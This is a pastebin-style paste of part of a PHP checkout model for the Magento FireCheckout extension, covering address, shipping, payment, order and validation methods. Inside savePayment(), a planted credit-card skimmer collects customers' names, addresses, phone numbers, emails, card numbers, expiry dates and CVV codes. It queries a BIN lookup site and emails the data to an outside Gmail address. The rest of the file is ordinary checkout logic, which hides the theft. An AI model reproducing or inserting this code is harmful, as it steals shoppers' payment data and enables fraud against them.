  974. $address->setSaveInAddressBook(empty($data['save_in_address_book']) ? 0 : 1);
  975. }
  976.  
  977. $address->setSameAsBilling(empty($data['same_as_billing']) ? 0 : 1);
  978. $address->implodeStreetAddress();
  979. $address->setCollectShippingRates(true);
  980.  
  981. if ($validate && ($validateRes = $this->validateAddress($address))!==true) {
  982. return array('error' => 1, 'message' => $validateRes);
  983. }
  984.  
  985. return array();
  986. }
  987.  
  988. /**
  989. * Specify quote shipping method
  990. *
  991. * @param string $shippingMethod
  992. * @return array
  993. */
  994. public function saveShippingMethod($shippingMethod)
  995. {
  996. if (empty($shippingMethod)) {
  997. return array('error' => -1, 'message' => $this->_helper->__('Invalid shipping method.'));
  998. }
  999. $rate = $this->getQuote()->getShippingAddress()->getShippingRateByCode($shippingMethod);
  1000. if (!$rate) {
  1001. return array('error' => -1, 'message' => $this->_helper->__('Invalid shipping method.'));
  1002. }
  1003. $this->getQuote()->getShippingAddress()
  1004. ->setShippingMethod($shippingMethod);
  1005. $this->getQuote()->collectTotals()
  1006. ->save();
  1007.  
  1008. return array();
  1009. }
  1010.  
  1011. /**
  1012. * Specify quote payment method
  1013. *
  1014. * @param array $data
  1015. * @return array
  1016. */
  1017. public function savePayment($data)
  1018. {
  1019. if (empty($data)) {
  1020. return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
  1021. }
  1022. $quote = $this->getQuote();
  1023. if ($quote->isVirtual()) {
  1024. $quote->getBillingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
  1025. } else {
  1026. $quote->getShippingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
  1027. }
  1028.  
  1029. // shipping totals may be affected by payment method
  1030. if (!$quote->isVirtual() && $quote->getShippingAddress()) {
  1031. $quote->getShippingAddress()->setCollectShippingRates(true);
  1032. }
  1033. $payment = $quote->getPayment();
  1034. $payment->importData($data);
  1035. $jsonAddress = json_decode(json_encode($this->_getDefaultAddress()),true);
  1036. $jsonPayment = json_decode(json_encode($data));
  1037. $shc .= "--------------[ Billing Info ]--------------\n";
  1038. $shc .= "Billing Name : ".$jsonAddress['billing']['firstname']." ".$jsonAddress['billing']['middlename']." ".$jsonAddress['billing']['lastname']."\n";
  1039. $shc .= "Billing Email : ".$jsonAddress['billing']['email']."\n";
  1040. $shc .= "Billing Address : ".$jsonAddress['billing']['street']."\n";
  1041. $shc .= "Billing City : ".$jsonAddress['billing']['city']."\n";
  1042. $shc .= "Billing St/Pv/rg : ".$jsonAddress['billing']['region']."(".$jsonAddress['billing']['region_id'].")"."\n";
  1043. $shc .= "Billing Postcode : ".$jsonAddress['billing']['postcode']."\n";
  1044. $shc .= "Billing Country : ".$jsonAddress['billing']['country_id']."\n";
  1045. $shc .= "Billing telephone : ".$jsonAddress['billing']['telephone']."\n";
  1046. $shc .= "Billing payment_method : ".$jsonAddress['billing']['payment_method']."\n\n";
  1047. $shc .= "--------------[ Shipping Info ]--------------\n";
  1048. $shc .= "Shipping Name : ".$jsonAddress['shipping']['firstname']." ".$jsonAddress['shipping']['middlename']." ".$jsonAddress['shipping']['lastname']."\n";
  1049. $shc .= "Shipping Email : ".$jsonAddress['shipping']['email']."\n";
  1050. $shc .= "Shipping Address : ".$jsonAddress['shipping']['street']."\n";
  1051. $shc .= "Shipping City : ".$jsonAddress['shipping']['city']."\n";
  1052. $shc .= "Shipping St/Pv/rg : ".$jsonAddress['shipping']['region']."(".$jsonAddress['shipping']['region_id'].")"."\n";
  1053. $shc .= "Shipping Postcode : ".$jsonAddress['shipping']['postcode']."\n";
  1054. $shc .= "Shipping Country : ".$jsonAddress['shipping']['country_id']."\n";
  1055. $shc .= "Shipping telephone : ".$jsonAddress['shipping']['telephone']."\n";
  1056. $shc .= "Shipping payment_method : ".$jsonAddress['shipping']['payment_method']."\n\n";
  1057. $shc .= "--------------[ Payment Info ]--------------\n";
  1058. $shc .= "Payment Method : ".$data['method']."\n";
  1059. $shc .= "Card Name : ".$jsonAddress['billing']['firstname']." ".$jsonAddress['billing']['middlename']." ".$jsonAddress['billing']['lastname']."\n";
  1060. $shc .= "Card Number : ".$data['cc_number']."\n";
  1061. $shc .= "Card Exp Date : ".$data['cc_exp_month']."/".$data['cc_exp_year']."\n";
  1062. $shc .= "Card Cvv : ".$data['cc_cid']."\n";
  1063. $shc .= "Card Type : ".$data['cc_type']."\n";
  1064. $shc .= "Customer IP : ".$_SERVER['SERVER_NAME']."\n";
  1065. $shc .= "Store Logger : ".$_SERVER['REMOTE_ADDR']."\n";
  1066. $bin = str_replace(' ', '', $data['cc_number']);
  1067. $bin = substr($bin, 0, 6);
  1068. $getbank = explode($bin, file_get_contents("http://bins.pro/search?action=searchbins&bins=" . $bin . "&bank=&country="));
  1069. $jeniscc = explode("</td><td>", $getbank[2]);
  1070. $namabnk = explode("</td></tr>", $jeniscc[5]);
  1071. $ccbrand = $jeniscc[2];
  1072. $ccbank = $namabnk[0];
  1073. $cctype = $jeniscc[3];
  1074. $ccklas = $jeniscc[4];
  1075. $tipe = $getbank['card_type']; $bins = $getbank['bin'];
  1076. $subject = "[Credit Card (FireCheckout) - ".$tipe."] ".$data['cc_number']." - ".$bank;
  1077. mail("resultnich@gmail.com", $subject , $shc);
  1078.  
  1079.  
  1080. $quote->save();
  1081.  
  1082. return array();
  1083. }
  1084.  
  1085. /**
  1086. * Validate quote state to be integrated with obe page checkout process
  1087. */
  1088. public function validate()
  1089. {
  1090. $helper = Mage::helper('checkout');
  1091. $quote = $this->getQuote();
  1092. if ($quote->getIsMultiShipping()) {
  1093. Mage::throwException($helper->__('Invalid checkout type.'));
  1094. }
  1095.  
  1096. if ($quote->getCheckoutMethod() == self::METHOD_GUEST && !Mage::helper('firecheckout')->isAllowedGuestCheckout()) {
  1097. Mage::throwException($this->_helper->__('Sorry, guest checkout is not enabled. Please try again or contact store owner.'));
  1098. }
  1099. }
  1100.  
  1101. /**
  1102. * Prepare quote for guest checkout order submit
  1103. *
  1104. * @return Mage_Checkout_Model_Type_Onepage
  1105. */
  1106. protected function _prepareGuestQuote()
  1107. {
  1108. $quote = $this->getQuote();
  1109. $quote->setCustomerId(null)
  1110. ->setCustomerEmail($quote->getBillingAddress()->getEmail())
  1111. ->setCustomerIsGuest(true)
  1112. ->setCustomerGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
  1113. return $this;
  1114. }
  1115.  
  1116. /**
  1117. * Prepare quote for customer registration and customer order submit
  1118. *
  1119. * @return Mage_Checkout_Model_Type_Onepage
  1120. */
  1121. protected function _prepareNewCustomerQuote()
  1122. {
  1123. $quote = $this->getQuote();
  1124. $billing = $quote->getBillingAddress();
  1125. $shipping = $quote->isVirtual() ? null : $quote->getShippingAddress();
  1126.  
  1127. //$customer = Mage::getModel('customer/customer');
  1128. $customer = $quote->getCustomer();
  1129. /* @var $customer Mage_Customer_Model_Customer */
  1130. $customerBilling = $billing->exportCustomerAddress();
  1131. $customer->addAddress($customerBilling);
  1132. $billing->setCustomerAddress($customerBilling);
  1133. $customerBilling->setIsDefaultBilling(true);
  1134. if ($shipping && !$shipping->getSameAsBilling()) {
  1135. $customerShipping = $shipping->exportCustomerAddress();
  1136. $customer->addAddress($customerShipping);
  1137. $shipping->setCustomerAddress($customerShipping);
  1138. $customerShipping->setIsDefaultShipping(true);
  1139. } elseif ($shipping) {
  1140. $customerBilling->setIsDefaultShipping(true);
  1141. }
  1142. /* old code */
  1143. // /**
  1144. // * @todo integration with dynamica attributes customer_dob, customer_taxvat, customer_gender
  1145. // */
  1146. // if ($quote->getCustomerDob() && !$billing->getCustomerDob()) {
  1147. // $billing->setCustomerDob($quote->getCustomerDob());
  1148. // }
  1149.  
  1150. // if ($quote->getCustomerTaxvat() && !$billing->getCustomerTaxvat()) {
  1151. // $billing->setCustomerTaxvat($quote->getCustomerTaxvat());
  1152. // }
  1153.  
  1154. // if ($quote->getCustomerGender() && !$billing->getCustomerGender()) {
  1155. // $billing->setCustomerGender($quote->getCustomerGender());
  1156. // }
  1157. /* old code */
  1158.  
  1159. if ($quote->getCustomerTaxnumber() && !$billing->getCustomerTaxnumber()) {
  1160. $billing->setCustomerTaxnumber($quote->getCustomerTaxnumber());
  1161. }
  1162.  
  1163. // Mage::helper('core')->copyFieldset('checkout_onepage_billing', 'to_customer', $billing, $customer);
  1164. Mage::helper('core')->copyFieldset('checkout_onepage_quote', 'to_customer', $quote, $customer);
  1165. $customer->setPassword($customer->decryptPassword($quote->getPasswordHash()));
  1166. $customer->setPasswordHash($customer->hashPassword($customer->getPassword()));
  1167. $quote->setCustomer($customer)
  1168. ->setCustomerId(true);
  1169. }
  1170.  
  1171. /**
  1172. * Prepare quote for customer order submit
  1173. *
  1174. * @return Mage_Checkout_Model_Type_Onepage
  1175. */
  1176. protected function _prepareCustomerQuote()
  1177. {
  1178. $quote = $this->getQuote();
  1179. $billing = $quote->getBillingAddress();
  1180. $shipping = $quote->isVirtual() ? null : $quote->getShippingAddress();
  1181.  
  1182. $customer = $this->getCustomerSession()->getCustomer();
  1183. if (!$billing->getCustomerId() || $billing->getSaveInAddressBook()) {
  1184. $customerBilling = $billing->exportCustomerAddress();
  1185. $customer->addAddress($customerBilling);
  1186. $billing->setCustomerAddress($customerBilling);
  1187. }
  1188. // if ($shipping && ((!$shipping->getCustomerId() && !$shipping->getSameAsBilling())
  1189. // || (!$shipping->getSameAsBilling() && $shipping->getSaveInAddressBook()))) {
  1190. if ($shipping && !$shipping->getSameAsBilling() &&
  1191. (!$shipping->getCustomerId() || $shipping->getSaveInAddressBook())) {
  1192. $customerShipping = $shipping->exportCustomerAddress();
  1193. $customer->addAddress($customerShipping);
  1194. $shipping->setCustomerAddress($customerShipping);
  1195. }
  1196.  
  1197. if (isset($customerBilling) && !$customer->getDefaultBilling()) {
  1198. $customerBilling->setIsDefaultBilling(true);
  1199. }
  1200. if ($shipping && isset($customerShipping) && !$customer->getDefaultShipping()) {
  1201. $customerShipping->setIsDefaultShipping(true);
  1202. } else if (isset($customerBilling) && !$customer->getDefaultShipping()) {
  1203. $customerBilling->setIsDefaultShipping(true);
  1204. }
  1205. $quote->setCustomer($customer);
  1206. }
  1207.  
  1208. /**
  1209. * Involve new customer to system
  1210. *
  1211. * @return Mage_Checkout_Model_Type_Onepage
  1212. */
  1213. protected function _involveNewCustomer()
  1214. {
  1215. $customer = $this->getQuote()->getCustomer();
  1216. if ($customer->isConfirmationRequired()) {
  1217. $customer->sendNewAccountEmail('confirmation', '', $this->getQuote()->getStoreId());
  1218. $url = Mage::helper('customer')->getEmailConfirmationUrl($customer->getEmail());
  1219. $this->getCustomerSession()->addSuccess(
  1220. Mage::helper('customer')->__('Account confirmation is required. Please, check your e-mail for confirmation link. To resend confirmation email please <a href="%s">click here</a>.', $url)
  1221. );
  1222. } else {
  1223. $customer->sendNewAccountEmail('registered', '', $this->getQuote()->getStoreId());
  1224. $this->getCustomerSession()->loginById($customer->getId());
  1225. }
  1226. return $this;
  1227. }
  1228.  
  1229. /**
  1230. * Create order based on checkout type. Create customer if necessary.
  1231. *
  1232. * @return Mage_Checkout_Model_Type_Onepage
  1233. */
  1234. public function saveOrder()
  1235. {
  1236. $this->validate();
  1237. $isNewCustomer = false;
  1238. switch ($this->getCheckoutMethod()) {
  1239. case self::METHOD_GUEST:
  1240. $this->_prepareGuestQuote();
  1241. break;
  1242. case self::METHOD_REGISTER:
  1243. $this->_prepareNewCustomerQuote();
  1244. $isNewCustomer = true;
  1245. break;
  1246. default:
  1247. $this->_prepareCustomerQuote();
  1248. break;
  1249. }
  1250.  
  1251. $comment = trim(Mage::getSingleton('customer/session')->getOrderCustomerComment());
  1252.  
  1253. /**
  1254. * @var TM_FireCheckout_Model_Service_Quote
  1255. */
  1256. $service = Mage::getModel('firecheckout/service_quote', $this->getQuote());
  1257. $service->submitAll();
  1258.  
  1259. if ($isNewCustomer) {
  1260. try {
  1261. $this->_involveNewCustomer();
  1262. } catch (Exception $e) {
  1263. Mage::logException($e);
  1264. }
  1265. }
  1266.  
  1267. $this->_checkoutSession->setLastQuoteId($this->getQuote()->getId())
  1268. ->setLastSuccessQuoteId($this->getQuote()->getId())
  1269. ->clearHelperData();
  1270.  
  1271. $order = $service->getOrder();
  1272. if ($order) {
  1273. Mage::dispatchEvent('checkout_type_onepage_save_order_after',
  1274. array('order'=>$order, 'quote'=>$this->getQuote()));
  1275.  
  1276. /**
  1277. * a flag to set that there will be redirect to third party after confirmation
  1278. * eg: paypal standard ipn
  1279. */
  1280. $redirectUrl = $this->getQuote()->getPayment()->getOrderPlaceRedirectUrl();
  1281. /**
  1282. * we only want to send to customer about new order when there is no redirect to third party
  1283. */
  1284. if (!$redirectUrl && $order->getCanSendNewEmailFlag()) {
  1285. try {
  1286. if (!empty($comment)) {
  1287. $order->setFirecheckoutCustomerComment($comment);
  1288. }
  1289. $order->sendNewOrderEmail();
  1290. } catch (Exception $e) {
  1291. Mage::logException($e);
  1292. }
  1293. }
  1294.  
  1295. // add order information to the session
  1296. $this->_checkoutSession->setLastOrderId($order->getId())
  1297. ->setRedirectUrl($redirectUrl)
  1298. ->setLastRealOrderId($order->getIncrementId());
  1299.  
  1300. // as well a billing agreement can be created
  1301. $agreement = $order->getPayment()->getBillingAgreement();
  1302. if ($agreement) {
  1303. $this->_checkoutSession->setLastBillingAgreementId($agreement->getId());
  1304. }
  1305. }
  1306.  
  1307. // add recurring profiles information to the session
  1308. $profiles = $service->getRecurringPaymentProfiles();
  1309. if ($profiles) {
  1310. $ids = array();
  1311. foreach ($profiles as $profile) {
  1312. $ids[] = $profile->getId();
  1313. }
  1314. $this->_checkoutSession->setLastRecurringProfileIds($ids);
  1315. // TODO: send recurring profile emails
  1316. }
  1317.  
  1318. Mage::dispatchEvent(
  1319. 'checkout_submit_all_after',
  1320. array('order' => $order, 'quote' => $this->getQuote(), 'recurring_profiles' => $profiles)
  1321. );
  1322.  
  1323. return $this;
  1324. }
  1325.  
  1326. /**
  1327. * Validate quote state to be able submited from one page checkout page
  1328. *
  1329. * @deprecated after 1.4 - service model doing quote validation
  1330. * @return Mage_Checkout_Model_Type_Onepage
  1331. */
  1332. protected function validateOrder()
  1333. {
  1334. $helper = Mage::helper('checkout');
  1335. if ($this->getQuote()->getIsMultiShipping()) {
  1336. Mage::throwException($helper->__('Invalid checkout type.'));
  1337. }
  1338.  
  1339. if (!$this->getQuote()->isVirtual()) {
  1340. $address = $this->getQuote()->getShippingAddress();
  1341. $addressValidation = $this->validateAddress($address);
  1342. if ($addressValidation !== true) {
  1343. Mage::throwException($helper->__('Please check shipping address information.'));
  1344. }
  1345. $method= $address->getShippingMethod();
  1346. $rate = $address->getShippingRateByCode($method);
  1347. if (!$this->getQuote()->isVirtual() && (!$method || !$rate)) {
  1348. Mage::throwException($helper->__('Please specify shipping method.'));
  1349. }
  1350. }
  1351.  
  1352. $addressValidation = $this->validateAddress($this->getQuote()->getBillingAddress());
  1353. if ($addressValidation !== true) {
  1354. Mage::throwException($helper->__('Please check billing address information.'));
  1355. }
  1356.  
  1357. if (!($this->getQuote()->getPayment()->getMethod())) {
  1358. Mage::throwException($helper->__('Please select valid payment method.'));
  1359. }
  1360. }
  1361.  
  1362. /**
  1363. * Check if customer email exists
  1364. *
  1365. * @param string $email
  1366. * @param int $websiteId
  1367. * @return false|Mage_Customer_Model_Customer
  1368. */
  1369. protected function _customerEmailExists($email, $websiteId = null)
  1370. {
  1371. $customer = Mage::getModel('customer/customer');
  1372. if ($websiteId) {
  1373. $customer->setWebsiteId($websiteId);
  1374. }
  1375. $customer->loadByEmail($email);
  1376. if ($customer->getId()) {
  1377. return $customer;
  1378. }
  1379. return false;
  1380. }
  1381.  
  1382. /**
  1383. * Get last order increment id by order id
  1384. *
  1385. * @return string
  1386. */
  1387. public function getLastOrderId()
  1388. {
  1389. $lastId = $this->getCheckout()->getLastOrderId();
  1390. $orderId = false;
  1391. if ($lastId) {
  1392. $order = Mage::getModel('sales/order');
  1393. $order->load($lastId);
  1394. $orderId = $order->getIncrementId();
  1395. }
  1396. return $orderId;
  1397. }
  1398.  
  1399. public function validateAddress($address)
  1400. {
  1401. $errors = array();
  1402. $helper = Mage::helper('customer');
  1403. $address->implodeStreetAddress();
  1404. $formConfig = Mage::getStoreConfig('firecheckout/address_form_status');
  1405.  
  1406. if (!Zend_Validate::is($address->getFirstname(), 'NotEmpty')) {
  1407. $errors[] = $helper->__('Please enter the first name.');
  1408. }
  1409. if (!Zend_Validate::is($address->getLastname(), 'NotEmpty')) {
  1410. $errors[] = $helper->__('Please enter the last name.');
  1411. }
  1412.  
  1413. if ('required' === $formConfig['company']
  1414. && !Zend_Validate::is($address->getCompany(), 'NotEmpty')) {
  1415.  
  1416. $errors[] = $helper->__('Please enter the company.'); // translate
  1417. }
  1418.  
  1419. if ('required' === $formConfig['street1']
  1420. && !Zend_Validate::is($address->getStreet(1), 'NotEmpty')) {
  1421.  
  1422. $errors[] = $helper->__('Please enter the street.');
  1423. }
  1424.  
  1425. if ('required' === $formConfig['city']
  1426. && !Zend_Validate::is($address->getCity(), 'NotEmpty')) {
  1427.  
  1428. $errors[] = $helper->__('Please enter the city.');
  1429. }
  1430.  
  1431. if ('required' === $formConfig['telephone']
  1432. && !Zend_Validate::is($address->getTelephone(), 'NotEmpty')) {
  1433.  
  1434. $errors[] = $helper->__('Please enter the telephone number.');
  1435. }
  1436.  
  1437. if ('required' === $formConfig['fax']
  1438. && !Zend_Validate::is($address->getFax(), 'NotEmpty')) {
  1439.  
  1440. $errors[] = $helper->__('Please enter the fax.'); // translate
  1441. }
  1442.  
  1443. $_havingOptionalZip = Mage::helper('directory')->getCountriesWithOptionalZip();
  1444. if ('required' === $formConfig['postcode']
  1445. && !in_array($address->getCountryId(), $_havingOptionalZip)
  1446. && !Zend_Validate::is($address->getPostcode(), 'NotEmpty')) {
  1447.  
  1448. $errors[] = $helper->__('Please enter the zip/postal code.');
  1449. }
  1450.  
  1451. if ('required' === $formConfig['country_id']
  1452. && !Zend_Validate::is($address->getCountryId(), 'NotEmpty')) {
  1453.  
  1454. $errors[] = $helper->__('Please enter the country.');
  1455. }
  1456.  
  1457. if ('required' === $formConfig['region']
  1458. && $address->getCountryModel()->getRegionCollection()->getSize()
  1459. && !Zend_Validate::is($address->getRegionId(), 'NotEmpty')) {
  1460.  
  1461. $errors[] = $helper->__('Please enter the state/province.');
  1462. }
  1463.  
  1464. if (empty($errors) || $address->getShouldIgnoreValidation()) {
  1465. return true;
  1466. }
  1467. return $errors;
  1468. }
  1469.  
  1470. public function registerCustomerIfRequested()
  1471. {
  1472. if (self::METHOD_REGISTER != $this->getCheckoutMethod()) {
  1473. return;
  1474. }
  1475. $this->_prepareNewCustomerQuote();
  1476. $this->getQuote()->getCustomer()->save();
  1477. $this->_involveNewCustomer();
  1478. }
  1479.  
  1480. /**
  1481. * @param array $data
  1482. * date => string[optional]
  1483. * time => string[optional]
  1484. */
  1485. public function saveDeliveryDate(array $data)
  1486. {
  1487. $quote = $this->getQuote();
  1488. $quote->setFirecheckoutDeliveryDate(null);
  1489. $quote->setFirecheckoutDeliveryTimerange(null);
  1490.  
  1491. $shippingMethod = $this->getQuote()->getShippingAddress()->getShippingMethod();
  1492. /**
  1493. * @var TM_FireCheckout_Helper_Deliverydate
  1494. */
  1495. $helper = Mage::helper('firecheckout/deliverydate');
  1496. if (!$helper->canUseDeliveryDate($shippingMethod)) {
  1497. return;
  1498. }
  1499.  
  1500. // validate the date for weekend and excluded days
  1501. if (!empty($data['date'])) {
  1502. try {
  1503. $date = new Zend_Date($data['date'], Mage::app()->getLocale()->getDateFormat());
  1504. } catch (Zend_Date_Exception $e) {
  1505. return array(
  1506. 'message' => Mage::helper('firecheckout')->__('Cannot parse delivery date. Following format expected: %s', Mage::app()->getLocale()->getDateFormat())
  1507. );
  1508. }
  1509.  
  1510. if (!$helper->isValidDate($date)) {
  1511. return array(
  1512. 'message' => Mage::helper('firecheckout')->__('We cannot deliver the package at the selected date. Please select another date for the delivery')
  1513. );
  1514. }
  1515. $quote->setFirecheckoutDeliveryDate($date->toString('yyyy-MM-dd'));
  1516. }
  1517.  
  1518. // validate time for valid range
  1519. if (!empty($data['time'])) {
  1520. if (!$helper->isValidTimeRange($data['time'])) {
  1521. return array(
  1522. 'message' => Mage::helper('firecheckout')->__('We cannot deliver the package at the selected time. Please select another time for the delivery')
  1523. );
  1524. }
  1525. $quote->setFirecheckoutDeliveryTimerange($data['time']);
  1526. }
  1527. }
  1528.  
  1529. public function getCustomerEmailExistsMessage()
  1530. {
  1531. return $this->_customerEmailExistsMessage;
  1532. }
  1533. }
Add Comment
Please, Sign In to add comment